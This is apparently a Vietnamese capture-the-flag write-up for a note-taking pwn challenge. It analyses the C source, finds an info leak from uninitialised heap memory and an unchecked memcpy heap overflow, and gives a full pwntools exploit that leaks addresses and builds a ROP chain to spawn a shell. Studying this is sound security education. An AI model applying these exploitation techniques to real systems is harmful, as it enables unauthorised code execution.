# PWN03-FLAG1 * Trong file zip của challenge có `2` binary là `interface` và `backend` * Đọc file `start.sh` để biết chương trình chạy như thế nào ![Screenshot 2024-02-01 141227](https://hackmd.io/_uploads/B1Ya4puqT.png) * Chạy `interface` với argument là `backend` ![Screenshot 2024-02-01 141440](https://hackmd.io/_uploads/r101H6u5T.png) * Option `1` ```cpp= void add_new_note() { char title[32]; char author[32]; char buf[64]; char passwd_hash[SHA256_DIGEST_LENGTH]; int is_encrypt; uint32_t content_len; if(notes_size > MAX_NOTE){ printf("Unable to add new note\n"); return; } printf("Title: "); read_line(title, sizeof(title) - 1); printf("Author: "); read_line(author, sizeof(author) - 1); do{ printf("Wanna encrypt this notes? (y/n) "); read_line(buf, sizeof(buf)); }while(buf[0] != 'y' && buf[0] != 'n'); is_encrypt = buf[0] == 'y' ? 1 : 0; Note_t new_note = Note_init(title, author, 0, is_encrypt); if(is_encrypt){ printf("What is your passwd? "); bzero(buf, sizeof(buf)); read_line(buf, sizeof(buf) - 1); SHA256((const unsigned char *)buf, strlen(buf), (unsigned char *)passwd_hash); } printf("How many bytes for content? "); content_len = read_int(); if(content_len > MAX_CONTENT_LEN){ content_len = MAX_CONTENT_LEN; } printf("Content: \n"); new_note->note_content = malloc(content_len); new_note->note_content_len = content_len; fgets(new_note->note_content, content_len, stdin); if(is_encrypt){ // sync this note to backend size_t send_size = sizeof(struct msg_hdr) + sizeof(struct NoteSerialize) + sizeof(passwd_hash) + content_len; msg_hdr_t send_msg = malloc(send_size); send_msg->action = COMMIT; send_msg->msg_size = send_size - sizeof(struct msg_hdr); NoteSerialize_t serialize_p = (NoteSerialize_t)send_msg->msg_content; memcpy(&(serialize_p->common), &(new_note->common), sizeof(struct NoteCommon)); serialize_p->note_content_len = sizeof(passwd_hash) + content_len; memcpy(serialize_p->content, passwd_hash, sizeof(passwd_hash)); memcpy(&(serialize_p->content[sizeof(passwd_hash)]), new_note->note_content, new_note->note_content_len); send_data(&ipc, RECEIVER, send_msg, send_size); free(send_msg); uint64_t status = 0; int rc = recv_data_timeout(&ipc, SENDER, NULL, (uint64_t *)&status, 60); if(IS_ERR(rc) || status != OK){ printf("Unable to sync this note to server :(, destroying this note\n"); Note_destroy(new_note); return; } free(new_note->note_content); new_note->note_content = NULL; new_note->note_synced = 1; } DL_APPEND(notes, new_note); notes_size++; puts("Added"); } ``` * Khởi tạo`1` note. Nếu như chọn option `encrypt` thì hàm này sẽ tạo `1` key bằng cách lấy hash `SHA256` của `password` mình nhập vào rồi gửi cho `backend` để `backend` mã hóa, còn không thì sẽ chỉ tạo note đó trên `interface` * 1 số structs mà `interface` sử dụng ```cpp= struct Note { struct NoteCommon common; char *note_content; struct Note *prev; struct Note *next; }; struct NoteSerialize { struct NoteCommon common; char content[]; }; struct NoteCommon { char title[MAX_LEN]; char author[32]; uint32_t content_len; uint32_t flags; uint32_t encrypt:1; uint32_t synced:1; // unsed in backend }; typedef enum Action { NONE = 0, COMMIT = 1, FETCH = 2, DELETE = 3, AUTH = 4, TRUNCATED = 5 // use for reply_msg is larger than SHM_MEM_MAX_SIZE } Action; struct msg_hdr { Action action; uint32_t msg_size; char msg_content[]; }; ``` * Option 2 ```cpp= void list_note() { Note_t tnote; DL_FOREACH(notes, tnote){ printf("Title: %s\n", tnote->note_title); printf("Author: %s\n", tnote->note_author); if(tnote->note_is_encrypt){ printf("Content: (Encrypted)\n"); } else { printf("Content: %s\n", tnote->note_content); } } } ``` * Đơn giản là in ra `content` của các note(nếu không được mã hóa) * Option 3 ```cpp= void read_note() { struct Note s_note; Note_t tmp; char buf[64]; char passwd_hash[SHA256_DIGEST_LENGTH]; msg_hdr_t send_msg; msg_hdr_t recv_msg; size_t recv_size = 0; size_t send_size = 0; NoteSerialize_t serialize_p; Status status; int rc; bzero(&s_note, sizeof(struct Note)); printf("Title: "); read_line(s_note.note_title, sizeof(s_note.note_title) - 1); printf("Author: "); read_line(s_note.note_author, sizeof(s_note.note_author) - 1); DL_SEARCH(notes, tmp, &s_note, Note_cmp); if(!tmp){ printf("Unable to find your note\n"); return; } if(tmp->note_is_encrypt){ printf("Password? "); read_line(buf, sizeof(buf) - 1); // sha1 here SHA256((const unsigned char *)buf, strlen(buf), (unsigned char *)passwd_hash); // read from backend send_size = sizeof(struct msg_hdr) + sizeof(struct NoteSerialize) + SHA256_DIGEST_LENGTH; send_msg = malloc(send_size); send_msg->action = FETCH; send_msg->msg_size = send_size - sizeof(struct msg_hdr); serialize_p = (NoteSerialize_t)send_msg->msg_content; memcpy(&(serialize_p->common), &(tmp->common), sizeof(struct NoteCommon)); memcpy(serialize_p->content, passwd_hash, sizeof(passwd_hash)); send_data(&ipc, RECEIVER, send_msg, send_size); free(send_msg); rc = recv_data_timeout(&ipc, SENDER, (void **)&recv_msg, &recv_size, 60); if(IS_ERR(rc) || recv_size < sizeof(struct msg_hdr)){ printf("Unable to read content\n"); return; } serialize_p = (NoteSerialize_t)recv_msg->msg_content; printf("Content: %s\n", serialize_p->content); } else { printf("Content: %s\n", tmp->note_content); } } ``` * Chọn `1` note để in ra `content`. Nếu note được mã hóa thì sẽ lấy `content` trên `backend` bằng cách đưa cho `password` để chương trình tạo `key` và thông qua xác thực thì mới lấy được nội dung của note. Còn nếu không bị encrypt thì lấy luôn `content` của note trên `interface` * Option 4 ```cpp= void edit_note() { struct Note s_note; Note_t tmp; char buf[64]; char passwd_hash[SHA256_DIGEST_LENGTH]; msg_hdr_t send_msg; size_t send_size = 0; NoteSerialize_t serialize_p; uint64_t status; int rc; bzero(&s_note, sizeof(struct Note)); printf("Title: "); read_line(s_note.note_title, sizeof(s_note.note_title) - 1); printf("Author: "); read_line(s_note.note_author, sizeof(s_note.note_author) - 1); DL_SEARCH(notes, tmp, &s_note, Note_cmp); if(!tmp){ printf("Unable to find your note\n"); return; } if(tmp->note_is_encrypt){ printf("Password ?"); read_line(buf, sizeof(buf) - 1); // sha256 SHA256((const unsigned char *)buf, strlen(buf), (unsigned char *)passwd_hash); // sync with server send_size = sizeof(struct msg_hdr) + sizeof(struct NoteSerialize) + sizeof(passwd_hash); send_msg = malloc(send_size); send_msg->action = AUTH; send_msg->msg_size = send_size - sizeof(struct msg_hdr); serialize_p = (NoteSerialize_t)send_msg->msg_content; memcpy(&(serialize_p->common), &(tmp->common), sizeof(struct NoteCommon)); serialize_p->note_content_len = sizeof(passwd_hash); memcpy(serialize_p->content, passwd_hash, sizeof(passwd_hash)); send_data(&ipc, RECEIVER, send_msg, send_size); free(send_msg); rc = recv_data_timeout(&ipc, SENDER, NULL, &status, 60); if(IS_ERR(rc) || status != OK){ printf("Authenticate was failed\n"); return; } printf("Access granted\n"); } printf("New content len?"); uint32_t content_len = read_int(); content_len = content_len < MAX_CONTENT_LEN ? content_len: MAX_CONTENT_LEN; printf("New content:\n"); if(tmp->note_is_encrypt){ tmp->note_content = malloc(content_len); tmp->note_content_len = content_len; fgets(tmp->note_content, content_len, stdin); // sync with server send_size = sizeof(struct msg_hdr) + sizeof(struct NoteSerialize) + sizeof(passwd_hash) + content_len; send_msg = malloc(send_size); send_msg->action = COMMIT; send_msg->msg_size = send_size - sizeof(struct msg_hdr); serialize_p = (NoteSerialize_t)send_msg->msg_content; memcpy(&(serialize_p->common), &(tmp->common), sizeof(struct NoteCommon)); serialize_p->note_content_len += sizeof(passwd_hash); memcpy(serialize_p->content, passwd_hash, sizeof(passwd_hash)); memcpy(serialize_p->content + sizeof(passwd_hash), tmp->note_content, tmp->note_content_len); free(tmp->note_content); tmp->note_content = NULL; send_data(&ipc, RECEIVER, send_msg, send_size); free(send_msg); rc = recv_data_timeout(&ipc, SENDER, NULL, (uint64_t *)&status, 60); if(IS_ERR(rc) || status != OK){ printf("Unable to update your content\n"); return; } tmp->note_synced = 1; } else { if(tmp->note_content){ free(tmp->note_content); } tmp->note_content = malloc(content_len); tmp->note_content_len = content_len; fgets(tmp->note_content, content_len, stdin); tmp->note_synced = 0; } } ``` * Chọn `1` note để thay đổi `content`. Nếu được mã hóa thì sẽ phải qua bước xác thực tới `backend` còn không thì sẽ chỉ thay đổi `content` trên `interface` * Cuối cùng là hàm `note_sync` ở option 6 ```cpp= int note_sync(int flag) { msg_hdr_t msg_hdr = NULL; uint32_t send_size, recv_size; struct msg_hdr inline_msg_hdr; Note_t cur_note, next_note, next_note2; NoteSerialize_t serialize_p; uint64_t status; uint32_t read_count = 0; int rc; if(flag == 1){ send_size = sizeof(struct msg_hdr); next_note = notes; next_note2 = notes; // commit un-synced note to backend DL_FOREACH(next_note, cur_note){ if(cur_note->note_synced) continue; send_size += sizeof(struct NoteSerialize) + cur_note->note_content_len; if(send_size > SHM_MEM_MAX_SIZE){ next_note = cur_note; break; } } if(send_size == sizeof(struct msg_hdr)){ printf("All notes was synced\n"); return 0; } msg_hdr = malloc(send_size); msg_hdr->action = COMMIT; msg_hdr->msg_size = send_size - sizeof(struct msg_hdr); serialize_p = (NoteSerialize_t)msg_hdr->msg_content; DL_FOREACH(next_note2, cur_note) { if(cur_note->note_synced) continue; memcpy(&(serialize_p->common), &(cur_note->common), sizeof(struct NoteCommon)); memcpy(serialize_p->content, cur_note->note_content, cur_note->note_content_len); serialize_p = (NoteSerialize_t)((size_t)serialize_p + sizeof(struct NoteSerialize) + cur_note->note_content_len); cur_note->note_synced = 1; } send_data(&ipc, RECEIVER, msg_hdr, send_size); free(msg_hdr); rc = recv_data_timeout(&ipc, SENDER, NULL, (uint64_t *)&status, 60); if(IS_ERR(rc) || status != OK){ printf("Unable to commit data to backend\n"); return 1; } } else { // fetch from backend inline_msg_hdr.action = FETCH; inline_msg_hdr.msg_size = 0xFFFFFFFF; // fetch all except encrypted note content send_data(&ipc, RECEIVER, &inline_msg_hdr, sizeof(inline_msg_hdr)); int truncated = 0; do{ truncated = 0; rc = recv_data_timeout(&ipc, SENDER, (void **)&msg_hdr, (uint64_t *)&recv_size, 60); if(IS_ERR(rc) || recv_size < sizeof(struct msg_hdr)){ if((Status)recv_size == OK){ return 0; } else { printf("Unable to fetch data from backend\n"); return 1; } } if(msg_hdr->action == TRUNCATED) truncated = 1; Note_t search_note; // parse from backend while(read_count < msg_hdr->msg_size){ serialize_p = (NoteSerialize_t)((size_t)msg_hdr->msg_content + read_count); Note_t new_note = Note_init(serialize_p->note_title, serialize_p->note_author, serialize_p->note_content_len, serialize_p->note_is_encrypt); read_count += sizeof(struct NoteSerialize); Note_t p_note; DL_SEARCH(notes, search_note, new_note, Note_cmp); p_note = search_note; if(!search_note){ p_note = new_note; } // update new content if(!p_note->note_is_encrypt){ memcpy(p_note->note_content, serialize_p->content, serialize_p->note_content_len); read_count += new_note->note_content_len; } if(p_note->note_is_encrypt) { p_note->note_synced = 1; if(p_note->note_content){ free(p_note->note_content); p_note->note_content = NULL; } } if(!search_note){ DL_APPEND(notes, new_note); } else { Note_destroy(new_note); } } if(truncated){ // signal backend send next data send_data(&ipc, RECEIVER, NULL, OK); } } while(truncated); } return 0; } ``` * Sẽ có `2` option đó là `c` hoặc `s`. `c` tức là `COMMIT` tất cả các note của `interface` lên `backend`, `s` là cập nhật tất cả note của `backend` về `interface` ## TÌM BUG * Ở hàm `edit_note` ```cpp= if(tmp->note_content){ free(tmp->note_content); } tmp->note_content = malloc(content_len); tmp->note_content_len = content_len; fgets(tmp->note_content, content_len, stdin); tmp->note_synced = 0; ``` * Khi `malloc` thì chương trình không khởi tạo giá trị ban đầu nên vẫn còn sót lại trên `heap` nên có thể leak dc * Edit note với cùng `1` size thì khi `malloc` nó sẽ nhận lại chunk vừa `free` * Chunk khi vừa được `free` ![Screenshot 2024-02-01 143121](https://hackmd.io/_uploads/rkqktTuc6.png) * Sau hàm `fgets` ![Screenshot 2024-02-01 143207](https://hackmd.io/_uploads/Sk3-Kad5a.png) * Như vậy là có thể leak dc heap ```py= new_note(b'a', b'a', 1, b'a') edit_note(b'a', b'a', 1, b'a') ``` * Tương tự ta tạo `1` note với `content` lớn để có `unsorted bin` để leak libc. Cần phải tạo thêm `1` note khác để chương trình `malloc` `1` chunk ở sau khi `free` chunk lớn thành `unsorted bin` sẽ không bị nhập vào `top chunk` ```py= edit_note(b'a', b'a', 0x500, b'a') new_note(b'b', b'b', 1, b'b') edit_note(b'a', b'a', 1, b'a') ``` * Như vậy là giờ mình đã có `heap` và `libc` * Bug tiếp theo nằm ở hàm `note_sync` khi lấy data từ `backend` về `interface` ```cpp= Note_t search_note; // parse from backend while(read_count < msg_hdr->msg_size){ serialize_p = (NoteSerialize_t)((size_t)msg_hdr->msg_content + read_count); Note_t new_note = Note_init(serialize_p->note_title, serialize_p->note_author, serialize_p->note_content_len, serialize_p->note_is_encrypt); read_count += sizeof(struct NoteSerialize); Note_t p_note; DL_SEARCH(notes, search_note, new_note, Note_cmp); p_note = search_note; if(!search_note){ p_note = new_note; } // update new content if(!p_note->note_is_encrypt){ memcpy(p_note->note_content, serialize_p->content, serialize_p->note_content_len); read_count += new_note->note_content_len; } if(p_note->note_is_encrypt) { p_note->note_synced = 1; if(p_note->note_content){ free(p_note->note_content); p_note->note_content = NULL; } } ``` * Nếu như tìm thấy note trên `interface` thì mặc nhiên nó sẽ `memcpy` nội dung từ `backend` vào `content` của `interface` mà sẽ không check bound. Vậy thì nếu như note trên `interface` có `content` size khác với trên `backend` thì ta sẽ có `BOF` * Đầu tiên để đẩy note lên `backend` thì mình dùng `note_sync(1)` như vậy thì mỗi note chương trình sẽ đánh dấu `cur_note->note_synced = 1;` * Khi mà `edit_note` để thay đổi size của `content` thì nó sẽ không quan tâm đến flag đó mà chỉ quan tâm đến flag `is_encrypt` nếu không có thì sẽ chỉ đổi `content` trên `interface` mà không commit tới `backend`. Như vậy là ta có `heap overflow` ## KHAI THÁC * Đầu tiên mình tạo `1` note với size lớn, sau đó dùng `sync_note(1)` để commit tới `backend` sau đó thay đổi `content` note đó thành size bé hơn rồi tạo thêm `1` note mới để `heap overflow` sẽ overwrite note mới đó ```py= payload = b'A'*0x10 payload += p64(0) + p64(0x91) payload += p64(0x62) + p64(0)*7 payload += p64(0x62) + p64(0)*3 payload += p64(0x10) + p64(0) + p64(libc.symbols['environ']) + p64(heap + 0x370) payload += p64(0) + p64(0x21) payload += p64(libc.address + 0x21ace0)*2 payload += p64(0) + p64(0x91) payload += p64(0x61) + p64(0)*7 payload += p64(0x61) + p64(0)*3 payload += p64(0x200) + p64(0)*4 + p64(0xf1) payload += p64(libc.address + 0x21ace0)*2 payload = payload.ljust(0x200, b'\x00') new_note(b'a', b'a', 0x200, payload) note_sync('c') edit_note(b'a', b'a', 1, b'a') new_note(b'b', b'b', 1, b'hehe') ``` * Để trigger bug ```py= note_sync('s') ``` * Chạy đến `memcpy` ![Screenshot 2024-02-01 144351](https://hackmd.io/_uploads/r1MAiTuqp.png) * Copy `0x200` bytes ![Screenshot 2024-02-01 144404](https://hackmd.io/_uploads/ryokn6O5a.png) * Ta thấy chunk `0x55969bf77610` chỉ có size `0x20` và phía trên là note thứ `2` mà mình tạo. Craft payload để ghi đè note đó. Thay đổi `content` thành `environ` để leak stack ```py= payload = b'A'*0x10 payload += p64(0) + p64(0x91) payload += p64(0x62) + p64(0)*7 payload += p64(0x62) + p64(0)*3 payload += p64(0x10) + p64(0) + p64(libc.symbols['environ']) + p64(heap + 0x370) payload += p64(0) + p64(0x21) payload += p64(libc.address + 0x21ace0)*2 payload += p64(0) + p64(0x91) payload += p64(0x61) + p64(0)*7 payload += p64(0x61) + p64(0)*3 payload += p64(0x200) + p64(0)*4 + p64(0xf1) payload += p64(libc.address + 0x21ace0)*2 payload = payload.ljust(0x200, b'\x00') ``` * Sau khi `memcpy` ![Screenshot 2024-02-01 144625](https://hackmd.io/_uploads/SJCI2Td9T.png) * Như vậy là ta đã có `stack` * Tiếp theo mình sẽ lại khai thác lỗi này để tạo ropchain * Lại tạo `1` note có `content` lớn và `1` note khác để commit tới `backend`, lần này sẽ trigger `2` lần `memcpy`. Lần đầu tiên sẽ dùng `memcpy` để overwrite `1` note như vừa rồi, `memcpy` thứ `2` sẽ dùng để tạo ropchain * Lần `memcpy` đầu tiên ![Screenshot 2024-02-01 144934](https://hackmd.io/_uploads/BJ8STp_c6.png) * Overwrite `content` của note tiếp theo thành `saved rip` của `note_sync` ![Screenshot 2024-02-01 145006](https://hackmd.io/_uploads/H1hwp6u96.png) ![Screenshot 2024-02-01 145014](https://hackmd.io/_uploads/HkX_aTd5a.png) * Lần `memcpy` thứ `2` ![Screenshot 2024-02-01 145135](https://hackmd.io/_uploads/SkKo6a_qp.png) * Cuối cùng ta có ropchain ![Screenshot 2024-02-01 145217](https://hackmd.io/_uploads/rJMTTTOqT.png) ![Screenshot 2024-02-01 145249](https://hackmd.io/_uploads/ByMkRau96.png) * Script ```py= from pwn import * import psutil sla = lambda delim, data: p.sendlineafter(delim, data) sa = lambda delim, data: p.sendafter(delim, data) interface = context.binary = ELF('interface') libc = ELF('libc.so.6') def pidof(name): pid = 0 for proc in psutil.process_iter(): if name == proc.name(): pid = proc.pid break return pid def choice(i): sla(b'Choice: ', str(i).encode()) def new_note(title, author, content_len, content, encrypt = None): choice(1) sla(b'Title', title) sla(b'Author', author) if encrypt != None: sla(b'notes?', b'y') sla(b'passwd? ', encrypt) else: sla(b'notes?', b'n') sla(b'content?', str(content_len).encode()) sa(b'Content: ', content) p.sendline(b'') def list_note(): choice(2) def read_note(title, author, encrypt = None): choice(3) sla(b'Title', title) sla(b'Author', author) if encrypt != None: sla(b'Password', encrypt) def edit_note(title, author, content_len, content, encrypt = None): choice(4) sla(b'Title', title) sla(b'Author', author) if encrypt != None: sla(b'Password', encrypt) sla(b'len', str(content_len).encode()) sla(b'content', content) def delete_note(title, author, encrypt = None): choice(5) sla(b'Title', title) sla(b'Author', author) if encrypt != None: sla(b'password', encrypt) def note_sync(s_c): choice(6) if s_c == 'c': sla(b'note? ', b'c') else: sla(b'note? ', b's') def GDB(proc): gdb.attach(proc, gdbscript=''' #b delete_note b *(note_sync + 547) #b *(add_new_note + 316) #b edit_note c''') def GDB_backend(proc): gdb.attach(proc, gdbscript=''' #b NoteBackend_init c''') def GDB_All(): GDB(p) #GDB_backend(pidof('backend')) # = remote('0', 31339) #p = remote('139.162.29.93', 31339) p = process(['./interface', './backend']) #print('pidof: ', pidof('backend')) new_note(b'a', b'a', 1, b'a') #p.sendline(b'') #leak heap edit_note(b'a', b'a', 1, b'a') list_note() p.recvuntil(b'Content: ') leak = p.recvline()[:-1] leak = int.from_bytes(leak, byteorder='little') print('leak: ', hex(leak)) heap = leak << 4*3 print('heap: ', hex(heap)) #leak libc edit_note(b'a', b'a', 0x500, b'a') new_note(b'b', b'b', 1, b'b') #p.sendline(b'') edit_note(b'a', b'a', 1, b'a') list_note() p.recvuntil(b'Content: ') leak = p.recvline()[:-1] leak = int.from_bytes(leak, byteorder='little') print('leak: ', hex(leak)) libc.address = leak - 0x21b110 print('libc: ', hex(libc.address)) delete_note(b'a', b'a') delete_note(b'b', b'b') payload = b'A'*0x10 payload += p64(0) + p64(0x91) payload += p64(0x62) + p64(0)*7 payload += p64(0x62) + p64(0)*3 payload += p64(0x10) + p64(0) + p64(libc.symbols['environ']) + p64(heap + 0x370) payload += p64(0) + p64(0x21) payload += p64(libc.address + 0x21ace0)*2 payload += p64(0) + p64(0x91) payload += p64(0x61) + p64(0)*7 payload += p64(0x61) + p64(0)*3 payload += p64(0x200) + p64(0)*4 + p64(0xf1) payload += p64(libc.address + 0x21ace0)*2 payload = payload.ljust(0x200, b'\x00') new_note(b'a', b'a', 0x200, payload) note_sync('c') edit_note(b'a', b'a', 1, b'a') new_note(b'b', b'b', 1, b'hehe') note_sync('s') list_note() p.recvuntil(b'Author: b\n') p.recvuntil(b'Content: ') leak = p.recvline()[:-1] leak = int.from_bytes(leak, byteorder='little') print('leak: ', hex(leak)) stack = leak print('stack: ', hex(stack)) #new_note(b'a', b'a', 1, b'a') #delete_note(b'a', b'a') # payload = b'\x00'*0x200 payload += p64(0) + p64(0x21) + b'A'*0x10 + p64(0) + p64(0x91) payload += p64(0x62) + p64(0)*7 + p64(0x62) + p64(0)*3 + p64(0x10) + p64(0) payload += p64(stack) payload += p64(heap + 0x630) + p64(0) + p64(0x21) payload += p64(libc.address + 0x21ace0)*2 payload += p64(0) + p64(0x91) payload += p64(0x61) + p64(0)*7 payload += p64(0x61) + p64(0)*3 payload += p64(0x200) + p64(0) + p64(heap + 0x400) + p64(heap + 0x770)*2 + p64(0x91) payload += p64(0x62) + p64(0)*7 payload += p64(0x62) + p64(0)*3 payload += p64(0x50) + p64(0x2) payload += p64(stack - 0x338) + p64(heap + 0x6e0) + p64(0) + p64(0x61) payload += p64(0xdeadbeef) print('len: ', hex(len(payload))) payload2 = b'hihi' RET = 0x00000000000baaf9 + libc.address#: xor rax, rax ; ret rop = ROP(libc) rop.raw(RET) rop.system(next(libc.search(b'/bin/sh\x00'))) payload2 = rop.chain() delete_note(b'a', b'a') delete_note(b'b', b'b') new_note(b'a', b'a', 0x400, payload) new_note(b'b', b'b', 0x50, payload2) note_sync('c') edit_note(b'a', b'a', 0x200, b'a') GDB_All() note_sync('s') p.interactive() ```